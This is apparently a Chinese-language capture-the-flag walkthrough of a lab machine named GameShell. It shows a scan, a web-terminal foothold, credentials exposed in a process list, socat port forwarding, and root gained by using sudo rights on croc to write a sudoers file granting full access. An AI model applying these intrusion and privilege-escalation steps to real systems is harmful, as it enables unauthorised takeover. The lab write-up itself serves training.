

# GameShell

---

## 信息收集

[主机发现](#)

[端口扫描](#)

[端口开放情况](#)

[web信息收集](#)

[80端口](#)

[7681端口](#)

[GetShell](#)

[权限提升](#)

## 信息收集

### 主机发现

```
1 arp-scan -l  
2 主机IP : 192.168.21.55
```

Plain Text |

### 端口扫描

```
1 nmap -sS -A -T5 -p- 192.168.21.55
```

Plain Text |

```
22/tcp open ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http     Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Bash // The Eternal Shell
7681/tcp open http   ttyd 1.7.7-40e79c7 (libwebsockets 4.3.3-unknown)
|_http-title: ttyd - Terminal
|_http-server-header: ttyd/1.7.7-40e79c7 (libwebsockets/4.3.3-unknown)
MAC Address: 00:0C:29:4C:4C:3C (VMware)
```

## 端口开放情况

```
▼ Plain Text |
```

1	22/tcp	open	ssh	OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
2	80/tcp	open	http	Apache httpd 2.4.62 ((Debian))
3	7681/tcp	open	http	ttyd 1.7.7-40e79c7 (libwebsockets 4.3.3-unknown)

## web信息收集

80 端口

# Bash // The Eternal Shell

Bourne Again SHell - 1989 → Forever

## 1977 – The Bourne Shell (sh)

Stephen Bourne at AT&T Bell Labs released the original Unix shell. Simple, fast, written in C. It became the standard user interface for Unix systems worldwide.

## 1989 – Bash is Born

Brian Fox, working for the Free Software Foundation, released the first version of **Bash** (Bourne Again SHell) on June 8, 1989. The goal: create a free, improved alternative to the Bourne shell that would become the default shell for GNU.

源码、目录扫描都没东西。换端口

## 7681 端口

```
| Run the command  
|   $ gsh goal  
| to discover your first mission.  
  
| You can check the mission has been completed with  
|   $ gsh check  
  
| The command  
|   $ gsh help  
| displays the list of available (gsh) commands.  
+-----+  
[mission 1] $  
[mission 1] $ whoami  
www-data  
[mission 1] $ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
[mission 1] $ []
```

是一个shell环境

```
[mission 1] $ cat /etc/passwd  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:101:102:systemd Time Synchronization,,,,:/run/systemd:/usr/sbin/nologin  
systemd-network:x:102:103:systemd Network Management,,,,:/run/systemd:/usr/sbin/nologin  
systemd-resolve:x:103:104:systemd Resolver,,,,:/run/systemd:/usr/sbin/nologin  
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin  
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin  
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin  
silo:x:1000:1000::/home/silo:/bin/bash  
eviden:x:1001:1001::/home/eviden:/bin/bash
```

发现可登录用户

```
silo:x:1000:1000::/home/silo:/bin/bash
```

```
eviden:x:1001:1001::/home/eviden:/bin/bash
```

# GetShell

## 查看端口信息和进程

```
www-data 541 1 1 22:48 ? 00:00:16 /usr/local/bin/ttyp0 -w /opt/gameshell/gameshell.sh
eviden 545 1 0 22:48 ? 00:00:00 /usr/local/bin/ttyp0 -i 127.0.0.1 -p 9876 -c admin:nimda -W bash
root 547 1 0 22:48 ? 00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade shutdown --wait-for-signal
root 551 1 0 22:48 tty1 00:00:00 /sbin/getty -o -p -- \u --noclear tty1 linux
root 556 1 0 22:48 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 561 1 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 565 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 566 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 567 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 568 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 569 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 581 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 582 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 583 561 0 22:48 ? 00:00:00 /usr/sbin/apache2 -k start
root 5020 2 0 22:59 ? 00:00:00 [kworker/u2:1-events_unbound]
root 6309 2 0 23:07 ? 00:00:00 [kworker/u2:2-flush-8:0]
www-data 11460 541 0 23:10 pts/0 00:00:00 bash /opt/gameshell/gameshell.sh
www-data 11505 11460 0 23:10 pts/0 00:00:00 bash
www-data 12221 541 0 23:12 pts/1 00:00:00 bash /opt/gameshell/gameshell.sh
www-data 12259 12221 0 23:12 pts/1 00:00:00 bash
www-data 12922 12259 0 23:14 pts/1 00:00:00 ps -ef

You left GameShell's directory structure. Use
$ cd
to go back to the GameShell's starting directory.

[mission 1] $ ss -tunl
Netid      State      Recv-Q      Send-Q      Local Address:Port      Peer Address:Port
tcp        LISTEN     0            128          27.0.0.1:9876
tcp        LISTEN     0            128          0.0.0.0:7681
tcp        LISTEN     0            128          *:80
tcp        LISTEN     0            128          [::]:22

You left GameShell's directory structure. Use
```

发现 9876 端口的账户密码 admin:nimda

上传 socat 尝试端口转发

```
▼ Plain Text |
```

```
1 ./socat TCP4-LISTEN:8000,bind=0.0.0.0,fork,reuseaddr,tcp-nodelay TCP4:127.0.0.1:9876
```

访问 8000 端口

```
eviden@GameShell:$
```

成功获取 eviden shell,写入ssh公钥，使用私钥登录

## 权限提升

查看 sudo 权限

```
eviden@GameShell:/tmp$ sudo -l
Matching Defaults entries for eviden on GameShell:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eviden may run the following commands on GameShell:
    (ALL) NOPASSWD: /usr/local/bin/croc
```

croc 是一个文件传输工具，类似于 scp 或 rsync，可以在发送端直接创建恶意 sudoers 文件，将该文件输出到 /etc/sudoers.d/ 下，执行 sudo 提权

```
1 cd /tmp
2 cat > my_sudoers << 'EOF'
3 eviden  ALL=(ALL) NOPASSWD: ALL
4 EOF
```

```
croc --yes --ip 127.0.0.1:9009 send my_sudoers
```

- --ip 设置发送者的IP以及端口
- send 文件名 需要传输的文件
- yes 自动同意所有提示

```
^C eviden@GameShell:/tmp$ croc --yes --ip 127.0.0.1:9009 send my_sudoers
Sending 'my_sudoers' (84 B)
Code is 1781-common-price-nissan [REDACTED]

On the other computer run:
(For Windows)
    croc 1781-common-price-nissan
(For Linux/macOS)
    CROC_SECRET="1781-common-price-nissan" croc

Sending (->127.0.0.1:51470)
my_sudoers 100% |██████████| (84/84 B, 149 kB/s)
```

```
sudo croc --ip 127.0.0.1:9009 --out /etc/sudoers.d
```

- ip 连接发送端IP和端口
- out 指定输出文件夹

```
eviden@GameShell:/tmp$ sudo croc --ip 127.0.0.1:9009 --out /etc/sudoers.d
Enter receive code 1781-common-price-nissan [REDACTED]
Accept 'my_sudoers' (84 B)? (Y/n) y

Receiving (<-127.0.0.1:56474)
my_sudoers 100% |██████████| (84/84 B, 41 kB/s)
eviden@GameShell:/tmp$ sudo su
```

查看是否写入成功

```
eviden@GameShell:/tmp$ sudo -l
Matching Defaults entries for eviden on GameShell:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eviden may run the following commands on GameShell:
    (ALL) NOPASSWD: /usr/local/bin/croc
    (ALL) NOPASSWD: ALL
```

```
sudo su
```

```
drwx----- 2 root root 4096 Nov 17 10:07 .ssh
root@GameShell:~# cat root.txt
flag{root-fcf32fac298a31661e06e3d37148a21a}
root@GameShell:~# cat /home/
eviden/ silo/
root@GameShell:~# cat /home/silo/user.txt
flag{user-83add0ab24dcdb4f7a201772f1c10789}
```

提权成功